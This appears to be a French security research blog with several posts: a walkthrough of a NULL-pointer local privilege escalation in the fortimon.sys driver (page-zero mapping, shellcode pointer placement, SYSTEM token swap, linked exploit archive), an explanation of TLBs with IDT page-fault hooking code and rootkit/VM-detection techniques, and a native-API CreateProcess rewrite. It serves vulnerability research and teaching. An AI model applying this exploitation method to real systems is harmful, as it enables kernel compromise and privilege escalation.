push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
push    offset aDosdevicesFort ; "\\DosDevices\\FortiMon"
lea     eax, [ebp+SymbolicLinkName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
lea     eax, [ebp+DeviceObject]
push    eax             ; DeviceObject
push    0               ; Exclusive
push    0               ; DeviceCharacteristics
push    22h             ; DeviceType
lea     eax, [ebp+DestinationString]
push    eax             ; DeviceName
push    44h             ; DeviceExtensionSize
push    [ebp+DriverObject] ; DriverObject
call    ds:IoCreateDevice
mov     esi, eax
test    esi, esi
jl      short loc_1054D

lea     eax, [ebp+DestinationString]
push    eax             ; DeviceName
lea     eax, [ebp+SymbolicLinkName]
push    eax             ; SymbolicLinkName
call    ds:IoCreateSymbolicLink
mov     esi, eax
test    esi, esi
jl      short loc_10544

mov     eax, [ebp+DeviceObject]
mov     edx, [eax+28h] ; DeviceExtension
push    edi
push    11h
pop     ecx
xor     eax, eax ;eax=0
mov     edi, edx
rep stosd ; <=> memset(DeviceExtension, 0, 0x11*4)
mov     dword ptr [edx+4], 1
mov     eax, [ebp+DeviceObject]
mov     [edx+8], eax
pop     edi
jmp     short loc_1054D

[...]

Okaj, le device est créé et recoit une structure DeviceExtension. A quoi ca sert ? En gros l’I/O manager fournit au développeur un champ unique pour chaque device lui permettant de stocker de données. Dans le cas d’un FiDO le DeviceExtension sert à contenir un pointeur sur le device attaché afin de pouvoir lui retransmettre les IRP.

C’est de la que vient la vuln, en effet le CDO ne filtrant pas d’IRP mais en recevant uniquement n’a pas besoin d’avoir de DeviceExtension or ici il en reçoit une qui est initialisé à 0.

Il faut savoir que les MajorFunctions ne font pas la différence entre les devices, ce que je veux dire, c’est que si le CDO reçoit une IRP sur la MajorFunction IRP_MJ_CREATE, du fait que le driver à un rôle de filtre l’IRP sera transmise au device en dessous. Et c’est bien là le gros problème, car le pointeur sur le device en dessous est stocké dans la DeviceExtenion or pour le CDO de ce driver celle-ci est nulle !! KABOOM !!!

Pour que vous compreniez mieux voiçi un code qui représente une MajorFunction qui envoie directement l’IRP au device suivant.

//dispatch down an IRP
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
    ULONG Status;

    IoSkipCurrentIrpStackLocation(pIrp);

    Status=IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->AttachedToDeviceObject, pIrp);

    return Status;
}

Avec le fortimon.sys comme la DeviceExtension est nulle, la fonction IoCallDriver va tenter d’appeler la fonction d’un driver qui n’existe pas. Reste à exploiter cela …

On a IoCallDriver qui est de prototype :
NTSTATUS
IoCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
);

On sait que le param DeviceObject sera NULL. L’idée consiste donc à allouer une page mémoire commençant à l’adresse 0×00000000. Il suffit ensuite de mettre dans cette zone mémoire les bonnes valeurs aux bons endroits pour réussir notre exploitation. Pour ce faire, on va disass IoCallDriver

kd> u IoCallDriver
nt!IoCallDriver:
8052dce4 8bff            mov     edi,edi
8052dce6 55              push    ebp
8052dce7 8bec            mov     ebp,esp
8052dce9 8b550c          mov     edx,dword ptr [ebp+0Ch]
8052dcec 8b4d08          mov     ecx,dword ptr [ebp+8]
8052dcef ff15002b5580    call    dword ptr [nt!pIofCallDriver (80552b00)]
8052dcf5 5d              pop     ebp
8052dcf6 c20800          ret     8

kd> uf nt!IopfCallDriver
nt!IopfCallDriver:
804e37d0 fe4a23          dec     byte ptr [edx+23h] ; edx=IRP, IRP->CurrentLocation--
804e37d3 8a4223          mov     al,byte ptr [edx+23h]
804e37d6 84c0            test    al,al ; si CurrentLocation <=0
804e37d8 0f8ec6850300    jle     nt!IopfCallDriver+0xa (8051bda4)

nt!IopfCallDriver+0x18:
804e37de 8b4260          mov     eax,dword ptr [edx+60h] ; current I/O stack location
804e37e1 83e824          sub     eax,24h
804e37e4 56              push    esi
804e37e5 894260          mov     dword ptr [edx+60h],eax ; next stack location
804e37e8 894814          mov     dword ptr [eax+14h],ecx ; ecx=DeviceObject
804e37eb 0fb600          movzx   eax,byte ptr [eax] ;eax=MajorFunction indice
804e37ee 8b7108          mov     esi,dword ptr [ecx+8] ;esi=DriverObject
804e37f1 52              push    edx
804e37f2 51              push    ecx
804e37f3 ff548638        call    dword ptr [esi+eax*4+38h] ;DriverObject.MajorFunction[eax]
804e37f7 5e              pop     esi
804e37f8 c3              ret

kd> dt nt!_DEVICE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 ReferenceCount   : Int4B
   +0x008 DriverObject     : Ptr32 _DRIVER_OBJECT
   +0x00c NextDevice       : Ptr32 _DEVICE_OBJECT
   +0x010 AttachedDevice   : Ptr32 _DEVICE_OBJECT
   +0x014 CurrentIrp       : Ptr32 _IRP
   +0x018 Timer            : Ptr32 _IO_TIMER
   +0x01c Flags            : Uint4B
   +0x020 Characteristics  : Uint4B
   +0x024 Vpb              : Ptr32 _VPB
   +0x028 DeviceExtension  : Ptr32 Void
   +0x02c DeviceType       : Uint4B
   +0x030 StackSize        : Char
   +0x034 Queue            : __unnamed
   +0x05c AlignmentRequirement : Uint4B
   +0x060 DeviceQueue      : _KDEVICE_QUEUE
   +0x074 Dpc              : _KDPC
   +0x094 ActiveThreadCount : Uint4B
   +0x098 SecurityDescriptor : Ptr32 Void
   +0x09c DeviceLock       : _KEVENT
   +0x0ac SectorSize       : Uint2B
   +0x0ae Spare1           : Uint2B
   +0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION
   +0x0b4 Reserved         : Ptr32 Void

kd> dt nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32     long
   +0x030 DriverStartIo    : Ptr32     void
   +0x034 DriverUnload     : Ptr32     void
   +0x038 MajorFunction    : [28] Ptr32     long

Attention IopfCallDriver est convention d’appel FastCall, les params sont passés par ecx et edx. IopfCallDriver va donc prendre le DeviceObject et retrouvé à quel DriverObject il appartient, si la page qu’on alloue est mise à 0, on est sur que le DriverObject sera null lui aussi. Ensuite la fonction va appeler la MajorFunction en fonction du type d’IRP avec l’instruction : call dword ptr [esi+eax*4+38h] (esi=DriverOBject, eax=MajorFunction).

Comme nous pouvons choisir le type d’IRP que nous envoyons sur le CDO, on peut connaître la valeur de eax et donc choisir ce que va contenir [esi+eax*4+38h] et qu’est ce qu’on y met ? L’adresse d’un joli shellcode ring0 wOot !

Dans mon exploit j’ai choisit d’utiliser la MajorFunction IRP_MJ_FILE_SYSTEM_CONTROL envoyé par l’API native ZwFsControlFile. En fait j’ai eu un peu de mal à éviter les Fast I/O car si la requête passe dans ce genre de routine l’exploitation ne marchera pas, va falloir que je lise de la doc dessus.

Donc sachant que IRP_MJ_FILE_SYSTEM_CONTROL=0xD, il suffit de mettre à l’adresse 0+0xd*4+0×38 un pointeur sur notre shellcode qui modif le token du process courant par celui du process system et c’est bon, on a notre local privilege escalation :]

En tout ca le sploit que je vous fournis fonctionne très bien et vous le trouverez ici :
http://ivanlef0u.fr/repo/fortimon.rar

Voilà, voilà, j’espère que vous avez compris dans l’ensemble le principe de l’exploitation, n’hesitez pas à poser des questions.

6 comments février 28th, 2008

TLBs are your friends

Un drame m’est arrivé, la pire chose au monde. Ce matin au réveil, je m’aperçois que je n’ai plus de chocapicz … Tel un drogué je comprends que mon besoin primaire de cette nourriture ne pourra être satisfait rapidement, c’est dans ce genre de moment qu’on réalise que nos petites habitudes ont parfois prit une ampleur sur notre existence insoupçonnée, comment faire pour ne pas y penser ? Comment faire pour que mon ventre creux arrête de gargouiller, il est 13h (wiwi c’est l’heure ou je me réveil) tout est fermé, je me dis « Ivan, soit fort, combat cette drogue, fait autre chose, chasse cette envie de ton esprit ! » et j’ai fait ce que je sais faire le mieux, j’ai codé …

Ca faisait pas mal de temps que j’avais envie de jouer avec la pagination de OS. Bidouiller les PDEs, les PTEs, jouer avec mon cr3, courir avec des TLB près de la mer, bref, m’éclater avec ces mécanismes. J’avais toujours en tête les différents papers plus au moins vieux sur le sujet mais je voulais faire quelque chose d’un peu plus original sous Windows. Un pote m’a montré la documentation de PAX, vous savez le patch kernel unix qui sert à prévenir pas mal d’exploitations de binaires. En fait PAX émule une protection en exécution des pages mémoire, comme le NX bit dispo sur les processeurs récents. Le NX bit à besoin du PAE activé ou un mode 64 tapz pour fonctionner ce qui est un peu dommage par rapport à ce qu’il apporte en terme de sécurité.

Pour comprendre comment fonctionne la protection en non-execute des pages, il faut d’abord savoir comment fonctionne la translation d’adresses virtuelles en adresses physiques, pour cela je vous invite à relire ce post.

Si vous avez lu (ou que vous connaissez déjà un peu le sujet) vous remarquerez que le processus de translation d’adresses virtuelles (virtual addresses, VA) en adresses physiques (physical addresses, PA) est un peu long et demande au moins 3 lectures en mémoire. Pour pouvoir optimiser cela les constructeurs de CPU ont ajouté un cache permettant de faire le lien entre les VA et PA plus rapidement, on appel ces caches des TLB (Translation Lookaside Buffers). Ils contiennent des cellules qui font correspondre les VA au PA du process courant afin de pouvoir optimiser la translation d’adresses.

Après il faut savoir que les TLP sont splités en 2 parties, l’ITLB et le DTLB. L’ITLB (Instruction TLB) va contenir les translations d’adresses pour le code exécutable. Le DTLB (Data TLB) quand a lui contient les translations pour le reste des données. L’utilisation des TLB est donc résumer par le schéma suivant :

TLB

Tout d’abord la MMU va check si une entré est présente dans les TLB pour faire la translation, si oui on un un TLB Hit, sinon on a un TLB Miss et on doit perdre du temps 0 parcourir les PDE/PTE.

Les TLB sont assez connu dans le domaine de la sécu, notamment pour 2 faits. Premièrement, pour avoir été décrit dans phrack par Sherri Sparks et Jamie Butler dans l’implémentation du shadow walker. Le concept du shadow walker permet à un rootkit kernel-land de caché du code ou des données au processeur lui même. Le principe réside évidemment sur la translation d’adresses. Prenons une gentille page mémoire présente dans la RAM, tranquillement elle vit sa vie, se faire lire, écrire voir même exécute. Elle est forcément décrite par un PTE (Page Table Entry) qui, sous architecture x86, est de la forme :
PTE

Lorsque l’OS trouve que la page n’est pas assez souvent utilisée, il peut, pour gagner de la mémoire, la swapper sur le disque dans le fameux fichier pagefile.sys. Vous comprenez bien que si un programme décide d’aller chercher cette page en mémoire, il va se sentir un peu seul quand il va voir qu’elle n’y est plus, il faut donc que l’OS la recharge. Cependant il doit savoir, quand la recharger, vous me direz « bah quand le programme en a besoin sale ruskoff communiste buveur de vodka », certes … Pour cela, lorsque l’OS outswap la page sur le disque, il met la 0 le premier bit du PTE (Present Bit), ainsi lorsque la MMU va aller chercher la page, en voyant que le present-bit est 0, va lancer une exception de type page-fault (0x0E) alertant ainsi le memory-manager qu’il faut inswapper la page en mémoire.

Jusqu’ici rien de nouveau, le shadow walker va utiliser a son escient le present-bit. Prenons une autre gentille page mémoire et mettons son present-bit à 0, sans l’outswapper. Si un accès est fait sur cette page, une exception est générée, normalement le memory-manager ne sait pas gérer ce genre d’exceptions, c’est pourquoi nous avons notre propre page-fault handler placé avant. Celui-vi va servir à vérifier d’ou provient l’accès à notre page, dans le cas d’une demande d’exécution, si l’accès ne provient pas d’une source valide on remplace le PTE par un fake PTE représentant une page contenant du junk code. Cet à ce moment qu’interviennent les TLB, au lieu de remettre la present-bit de la page à 1, ce qui pourrait être problématique car nous ne pourrions intercepter les prochaines exécutions sur notre page, on va tout simplement ajouter une entré dans l’ITLB en faisant correspondre à notre VA en PA sur une page contenant du junk code, c’est de la balle, car avec cette technique, on est en mesure d’intercepter les prochaines demandes d’exécution de notre page.

Dans le cas d’une demande de lecture/écriture, on regarde aussi d’ou provient l’appel, si la demande est autorisée on charge la translation d’adresse dans le DTLB.

Les TLB sont aussi connus pour servir dans la détection des VM, l’idée peut-être résumé par le post de Thomas Patcek de chez Matasano. Le but est de désynchroniser les TLB et les PTE, c’est à dire de laisser dans les TLB des translations d’adresses de pages dont le present-bit est à 0. L’attaque consiste à se place dans la VM, on désynchronise les TLB et les PTE et on fait en sorte de saturer le TLB sur un gros bloque de mémoire qu’on a alloué et dont on a mit les present-bits de ses pages à 0. Il faut savoir que pour différences les TLB entries de l’host et de la VM, les entries sont taguées par des ASID (Address Space Identifiers), donc un flush des TLB dans l’host ou la VM n’affectera pas les entries taguées par les autres ASID. Maintenant qu’on a floodé le TLB, que ce passerait-il si on devait revenir dans l’environnement de l’hôte ? Naturellement ce dernier irait flusher une parie des entries du TLB, celui-ci étant plein, pour pouvoir gérer la VM, après retour dans la vm, on aurait donc une translation d’adresse fausse avec les entries du TLB taguées avec les ASID de la VM. Il suffit donc de prendre une instruction demandant une sortie de l’hyperviseur mais qui dans un contexte normal n’effectue aucun accès mémoire, cette instruction c’est CPUID. Sous Intel VT-x et AMD-V, elle requiert une sortie de l’hyperviseur pour être géré, de ce fait on est capable de vider des entries de la VM du TLB et de fucker les translations de notre big bloque de mémoire et DONC par effet de bord de détecter la VM, ouf …

Bon évidemment je vous prends la tête avec des notions par forcément évidentes à comprendre. Pour la suite retenez 4 choses par coeur sur les TLB :

- Reloading cr3 causes all TLB entries except global entries to be
flushed. This typically occurs on a context switch.

- The invlpg causes a specific TLB entry to be flushed.

- Executing a data access instruction causes the DTLB to be loaded with
the mapping for the data page that was accessed.

- Executing a call causes the ITLB to be loaded with the mapping for the
page containing the code executed in response to the call.

Revenons un peu à notre patch noyau, PAX, celui-ci tire avantage des TLB pour émuler une protection en non-execute. La question est comment ? Simple il suffit de lire la doc, extrait :

« The above described TLB behaviour means that software has explicit control
over ITLB/DTLB loading: it can get notified on hardware TLB load attempts
if it sets up the page tables so that such attempts will fail and trigger
a page fault exception, and it can also initiate a TLB load by making the
appropriate memory access to have the CPU walk the page tables and load one
of the TLBs. This in turn is the key to implement non-executable pages:
such pages can be marked either as non-present or requiring supervisor level
access in the page tables hence userland memory accesses would raise a page
fault. The page fault handler can then decide whether it was an instruction
fetch attempt (by comparing the fault address to that of the instruction
that raised the fault) or a legitimate data access. In the former case we
will have detected an execution attempt in a non-executable page and can
act accordingly (terminate the task), in the latter case we can just change
the affected page table entry temporarily to allow user level access and
have the CPU load it into the DTLB (we will of course have to restore the
page table entry to the old state so that further page table walks will
again raise a page fault). »

Pour résumer, l’idée consiste à marquer les present-bits des pages à protéger à 0, ainsi lorsqu’une demande est faite sur ces pages, elle génère une exception de type page-fault. On vérifie le type de demande, dans le cas d’une requête en read ou write on charge une entrée dans le DTLB avec le code suivant :

cli //disable interruptions
mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
or dword ptr [ebx], 0x01 //marque la page présente
mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
and dword ptr [ebx], 0xFFFFFFFE //page non présente
sti //enale interruptions

On oublie évidemment pas de flusher notre page de l’ITLB avec l’instruction invplg. Maintenant que notre DTLB est remplit, on peut sans problème travailler sur nos pages. Lors du prochain changement de contexte, les entries sera flushée mais du fait que les present-bits des PTE décrivant les pages à protéger sont à 0, on aura de nouveau une interruption et de nouveau on rechargera le DTLB. Ce qui est cool c’est qu’on à besoin que d’un page-fault pour ajouter une entrée au DTLB, donc tant qu’on reste dans le contexte de notre process (même cr3) tout se passe bien.

Si un programme demande un accès en exécution sur une page protégée, du fait que l’ITLB est vite, on aura un ITLB miss qui va appeler le page-fault handler, notre page-fault handler même, ce dernier aura pour rôle de dire au programme qu’il est impossible d’exécuter cette page.

Je me suis amusé à réaliser un couple programme user-land, driver r0, mettant en application ce concept. Le driver va recevoir des IOCTL du programme lui demandant de protéger une seule page mémoire, il va aussi installer son propre page-fault handler dans l’IDT afin de filtrer les exceptions. Voici le code du nouveau page-fault handler :

//Our KiTrap0E handler
VOID __declspec(naked) NewInt0EHandler(void)
{
    __asm
    {
        // sur la stack on a
        // [page fault error code]
        // [faulting eip]
        // ...
        pushad
        mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode
        test edx, 0x04 //verif si le core etait en usermode lors de l'except
        je PassDown  //sinon on se casse                              

        //verif si l'except s'est produite dans notre proces space
        mov eax, cr3
        mov ebx, Mycr3
        cmp eax, ebx
        jne PassDown

        mov esi, cr2 //esi : Adresse du page fault
        mov eax, esi
        shr eax, 12 //masque a 0x1000

        mov ebx, vaPage
        shr ebx, 12 //masque a 0x1000

        cmp ebx, eax
        //si ce n'est pas notre page
        jne PassDown
        //un acces a ete fait sur notre page
        //on flush le TLB
        invlpg vaPage

        //esp+0x24=eip fautif, si eip=adresse du page fault, alors on a une demande d'exec
        //et on leave
        cmp [esp+0x24], esi
        je Execution

        //
        // DTLB
        //
        mov eax, vaPage
        //on ajoute une entrée dans le DTLB
        cli //disable interruptions
        mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
        or dword ptr [ebx], 0x01 //marque la page présente
        mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
        and dword ptr [ebx], 0xFFFFFFFE //page non présente
        sti //enale interruptions
        jmp ReturnWitoutPassDown

        //
        //ITLB
        //
Execution:
        int 3
        //hack de la mort qui tue ....
        // !!! NE LE REFAITE PAS CHEZ VOUS !!!
        //en esp+0x20+4 on a l'adresse du page-fault, c'est à dire le début de notre page (esi)
        //pointé par esp+0x20+16 on a le user-land esp qui pointe sur l'adresse de retour pushé par le "call Page"
        //le iretd va retourner sur l'adress pointé par esp+0x20+4, pour eviter un nouveau page-fault on le fait
        //retourner sur l'adresse pointé par esp+0x20+16 en userland.

        mov eax, dword ptr [esp+0x20+0x10] //eax=userland esp
        mov eax, [eax] //eax=adresse de retour
        mov [esp+0x24], eax //change le retour de iretd

ReturnWitoutPassDown:
        popad
        add esp, 4
        iretd       

PassDown:
        popad
        jmp OldInt0EHandler
    }//end asm
}//end NewInt0E

Dans mon code, dans le cas d’une demande d’exécution j’ai du tricker comme un péruvien élevant des lamas … On sait que lors d’une exception on se retrouve sur la stack kernel-land avec :
esp+00 Error code
esp+04 Return EIP
esp+08 Return CS
esp+12 Return EFLAGS
esp+16 Return ESP
esp+20 Return SS
esp+24 Return ES
esp+28 Return DS
esp+32 Return FS
esp+36 Return GS

Cette stack sert pour le retour en user-land avec l’instruction iretd. Sachant que j’ai appelé ma page à protéger avec un call, donc sur la stack user-land, pointé par esp, j’ai mon adresse de retour. Pour retrouver le esp user-land, il suffit de regarder le esp+16 kernel-land, on remplace l’adresse de retour du iretd (esp+4) et hop ! On retombe sur nos pattes, bon j’avoue c’est tricky, mais bon, c’est de l’info, tout est permit :]
MAIS pour une raison inconnue lors du retour en userland par iretd, le segment fs est mit à 0 alors que dans le esp+32 kernel-land il vaut sa valeur normale (0x3B), donc lorsque le soft qui call le driver veut lire son TEB au moment de quitter il fuck :’( Pourtant quand le retour se fait avec le jmp sur PassDown tout est OK, j’avoue être dans le brouillard :(

Bref, mise à part ce bug, ca fonctionne. J’espère que vous avez à peu prés comprit le principe pour émuler une protection en non-execute grâce aux TLBs, j’attends avec impatience vos impressions. En attendant vous pouvez jouer avec les sources+binaires dispo ici :
http://ivanlef0u.fr/repo/TLB.rar

Sinon, allez lire blog de mon jeune padawan c’est du contenu moins hardcore mais tout aussi instructif :)
http://0vercl0k.blogspot.com/

ref :
http://book.itzero.com/read/microsoft/0507/microsoft.press.microsoft.windows.internals.fourth.edition.dec.2004.internal.fixed.ebook-ddu_html/0735619174/ch07.html
http://bluepillproject.org/stuff/IsGameOver.ppt
http://www.matasano.com/log/930/side-channel-detection-attacks-against-unauthorized-hypervisors/
http://en.wikipedia.org/wiki/Translation_Lookaside_Buffer
http://pax.grsecurity.net/docs/pageexec.txt
http://phrack.org/issues.html?issue=63&id=8&mode=txt

Les précédentes recherches de b0l0k
http://www.c0ding.fr/blog/?p=6
http://www.c0ding.fr/blog/?p=7
Ses liens :
An Architectural Approach to Preventing Code Injection Attacks
http://cairo.cs.purdue.edu/pubs/dsn07-codeinj.pdf
Hardware-assisted circumvention of self-hashing software tamper resistance
http://www.scs.carleton.ca/~paulv/papers/IEEE-extended.7april05.pdf
Rootkits ‘n Stuff
http://www.acm.uiuc.edu/sigmil/talks/shadowwalker/Shadow+Walker+Talk.pdf

24 comments février 4th, 2008

CreateProcess

Hum, un post un peu forcé, histoire de poser quelque chose sur ce blog. J’avoue que sur ce coup je suis un peu décu de mon taff. Bref, un échec ne peut qu’être enrichissant … Je me suis lancé dans l’idée de coder ma propre fonction CreateProcess afin de réaliser une attaque précise, malheureusement j’ai rencontré 2 gros problèmes.. :(


D’abord pour ce mettre dans l’ambiance, on va s’écouter du Burzum, ca aide à décrasser le cerveau.
Burzum – JesusTod

La création d’un processus n’est pas si compliqué que ca. Tout d’abord il nous faut un joli binaire, on commence gentiment en l’ouvrant avec CreateFile puis on lui associe un objet section avec l’API CreateFileMapping avec l’attribut SEC_IMAGE. Cet attribut permet de dire à l’API quelle représente une image exécutable afin que l’API nous fabrique une structure SECTION_IMAGE_INFORMATION dessus, nous verrons son utilité par la suite. Dans le code suivant j’utilise directement les API natives, j’avais envie de me prendre la tête :)

InitializeObjectAttributes(&ObjectAttributes, &usPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

//ouvre le fichier binaire
Status=ZwOpenFile(&hFile,
				FILE_EXECUTE|SYNCHRONIZE,
				&ObjectAttributes,
				&IoBlock,
				FILE_SHARE_READ,
				FILE_SYNCHRONOUS_IO_NONALERT);
if(!NT_SUCCESS(Status))
{
	printf("Error with ZwOpenFile : 0x%x\n", Status);
	goto end;
}

InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
//cree l'objet section avec l'attribut SEC_IMAGE specifique au executable images.
Status=ZwCreateSection(&hSection,
					SECTION_ALL_ACCESS,
					&ObjectAttributes,
					0,
					PAGE_EXECUTE,
					SEC_IMAGE,
					hFile);
if(!NT_SUCCESS(Status))
{
	printf("Error with ZwCreateSection : 0x%x\n", Status);
	goto end;
}

Maintenant qu’on a notre handle sur la section on peut crée l’objet EPROCESS himsefl avec l’API ZwCreateProcess.

NTSTATUS
NtCreateProcess(
    __out PHANDLE ProcessHandle,
    __in ACCESS_MASK DesiredAccess,
    __in_opt POBJECT_ATTRIBUTES ObjectAttributes,
    __in HANDLE ParentProcess,
    __in BOOLEAN InheritObjectTable,
    __in_opt HANDLE SectionHandle,
    __in_opt HANDLE DebugPort,
    __in_opt HANDLE ExceptionPort
    )
Routine Description:

    This routine creates and initializes a process object.

Arguments:

    ProcessHandle - Returns the handle for the new process.

    DesiredAccess - Supplies the desired access modes to the new process.

    ObjectAttributes - Supplies the object attributes of the new process.

    ParentProcess - Supplies a handle to the process' parent process.  If this
                    parameter is not specified, then the process has no parent
                    and is created using the system address space.

    Flags         - Process creation flags

    SectionHandle - Supplies a handle to a section object to be used to create
                    the process' address space.  If this parameter is not
                    specified, then the address space is simply a clone of the
                    parent process' address space.

    DebugPort - Supplies a handle to a port object that will be used as the
                process' debug port.

    ExceptionPort - Supplies a handle to a port object that will be used as the
                    process' exception port.

Remarquez le commentaire au niveau du SectionHandle, si jamais celui-ci est a NULL, on fabrique un fork du process courant, ce qui dans certains cas peut s’avérer utile.

Quand on appel ZwCreateProcess, le kernel se charge de mettre en place la structure EPROCESS associé avec lui en le créant avec ObCreateObject. Son espace mémoire est crée avec MmCreateProcessAddressSpace et init avec MmInitializeProcessAddressSpace.

La suite consiste à initialiser le primary du futur process. Pour cela on doit lui allouer une mémoire qui lui servira de stack. La taille de stack est retrouvé à l’aide du PE header du binaire, ce qui est cool c’est que la fonction ZwQuerySection peut nous renvoyer une structure SECTION_IMAGE_INFORMATION qui contient les valeurs suivantes :

typedef struct _SECTION_IMAGE_INFORMATION {
    PVOID TransferAddress;
    ULONG ZeroBits;
    SIZE_T MaximumStackSize;
    SIZE_T CommittedStackSize;
    ULONG SubSystemType;
    union {
        struct {
            USHORT SubSystemMinorVersion;
            USHORT SubSystemMajorVersion;
        };
        ULONG SubSystemVersion;
    };
    ULONG GpValue;
    USHORT ImageCharacteristics;
    USHORT DllCharacteristics;
    USHORT Machine;
    BOOLEAN ImageContainsCode;
    BOOLEAN Spare1;
    ULONG LoaderFlags;
    ULONG Reserved[ 2 ];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

2 champs nous intéresse, CommittedStackSize et MaximumStackSize. Le premier correspond à la taille de stack à allouer obligatoirement, le second à la taille max. Sachant que le thread n’aura pas forcément besoin de toute sa stack, on va éviter le gaspillage en réservant la mémoire sur une taille de MaximumStackSize tout en utilisant physiquement que CommitedStackSize de mémoire.

Plus tard, pour crée le thread avec ZwCreateThread on va avoir besoin de lui fournir une structure INITIAL_TEB :

typedef struct _INITIAL_TEB {
    struct {
        PVOID OldStackBase;
        PVOID OldStackLimit;
    } OldInitialTeb;
    PVOID StackBase;
    PVOID StackLimit;
    PVOID StackAllocationBase;
} INITIAL_TEB, *PINITIAL_TEB;

Comme nous connaissons les besoins de la main stack, nous allons remplir cette structure. Première étape, allouer en MEM_RESERVE MaximumStackSize de mémoire avec ZwAllocateVirtualMemory dans l’espace mémoire fraichement crée. On récupère l’adresse dans le champ StackAllocationBase. Ensuite, on fabrique la pile selon le schéma suivant :

StackAllocationBase
|                 |
|    StackLimit   |
|                 |
|                 |
|    StackBase    |
+-----------------+

L'espace representé par StackAllocationBase est en MEM_RESERVE.
Celui entre StackLimit et StackBase est en MEM_COMMIT|MEM_RESERVE.

Tout l’espace de StackAllocationBase est en MEM_RESERVE, celui de l’adresse la plus haute de StackAllocationBase (Stackbase) jusqu’a Stackbase-ImageInfo.CommittedStackSize est en MEM_COMMIT|MEM_RESERVE.

Cela veut dire que physiquement on aura réservé dans la ram que CommittedStackSize de mémoire, alors que les VAD (Virtual Address Descriptors) du process décriront l’espace représenter par StackAllocationBase comme utilisé.

//recup la structure ImageInfo
Status=ZwQuerySection(hSection,
					SectionImageInformation,
					&ImageInfo,
					sizeof(ImageInfo),
					NULL);
if(!NT_SUCCESS(Status))
{
    printf("Error with ZwQuerySection : 0x%x\n", Status);
	goto end;
}

printf("ImageInfo.MaximumStackSize : 0x%x\n", ImageInfo.MaximumStackSize);
printf("ImageInfo.CommittedStackSize : 0x%x\n", ImageInfo.CommittedStackSize);

RtlZeroMemory(&InitialTeb, sizeof(InitialTeb));

//Alloue ImageInfo.MaximumStackSize et stoque l'adresse dans InitialTeb.StackAllocationBase
//les pages de sont que MEM_RESERVE
Status=ZwAllocateVirtualMemory(hProcess,
							&InitialTeb.StackAllocationBase,
							0,
							&ImageInfo.MaximumStackSize,
							MEM_RESERVE,
							PAGE_READWRITE);
if(!NT_SUCCESS(Status))
{
	printf("Error with ZwAllocateVirtualMemory (1) : 0x%x\n", Status);
	goto end;
}							

InitialTeb.StackBase=(PVOID)((ULONG)InitialTeb.StackAllocationBase+ImageInfo.MaximumStackSize);
InitialTeb.StackLimit=(PVOID)((ULONG)InitialTeb.StackBase-ImageInfo.CommittedStackSize);

n=(ULONG)(ImageInfo.CommittedStackSize);
p=(PVOID)InitialTeb.StackLimit;

//Commit les pages entre StackBase et StackLimit qui seront utilisées pour la stack
Status=ZwAllocateVirtualMemory(hProcess,
							(PVOID*)&p,
							0,
							&n,
							MEM_COMMIT,
							PAGE_READWRITE);
if(!NT_SUCCESS(Status))
{
	printf("Error with ZwAllocateVirtualMemory (2): 0x%x\n", Status);
	goto end;
}

Après tout ca, on peut tranquillement créer notre thread avec ZwCreateThread de proto :

NTSTATUS
NtCreateThread(
    __out PHANDLE ThreadHandle,
    __in ACCESS_MASK DesiredAccess,
    __in_opt POBJECT_ATTRIBUTES ObjectAttributes,
    __in HANDLE ProcessHandle,
    __out PCLIENT_ID ClientId,
    __in PCONTEXT ThreadContext,
    __in PINITIAL_TEB InitialTeb,
    __in BOOLEAN CreateSuspended
    )

/*++

Routine Description:

    This routine creates and initializes a thread object.

Arguments:

    ThreadHandle - Returns the handle for the new thread.

    DesiredAccess - Supplies the desired access modes to the new thread.

    ObjectAttributes - Supplies the object attributes of the new thread.

    ProcessHandle - Supplies a handle to the process that the thread is being
                    created within.

    ClientId - Returns the CLIENT_ID of the new thread.

    ThreadContext - Supplies a pointer to a context frame that represents the
                initial user-mode context for a user-mode thread. The absence
                of this parameter indicates that a system thread is being
                created.

    InitialTeb - Supplies the contents of certain fields for the new threads
                 TEB. This parameter is only examined if both a trap and
                 exception frame were specified.

    CreateSuspended - Supplies a value that controls whether or not a user-mode
                      thread is created in a suspended state.

--*/

Hop le code très simple qui réalise cela :

RtlZeroMemory(&Context, sizeof(CONTEXT));

//Definit le context de depart du thread

Context.SegGs=0;
Context.SegFs=0x3B; //segment fs r3
Context.SegEs=0x23; //segment de data r3
Context.SegDs=0x23;
Context.SegSs=0x23;
Context.SegCs=0x1B; //segment de code r3
Context.EFlags=0x200; // force interrupts on, clear all else.
Context.Esp=(ULONG)InitialTeb.StackBase-4;
//TransferAddress est renvoye dans la structure ImageInfo, c'est l'entrypoint de notre programme
Context.Eip=(ULONG)ImageInfo.TransferAddress;

printf("ImageInfo.TransferAddress (EntryPoint) : 0x%x\n", ImageInfo.TransferAddress);

Status=ZwCreateThread(&hThread, //ThreadHandle
					THREAD_ALL_ACCESS, //DesiredAccess
					NULL, //ObjectAttributes
					hProcess,  //ProcessHandle
					&ClientId, //ClientId,
					&Context, //ThreadContext
					&InitialTeb, //InitialTeb
					TRUE); //CreateSuspended
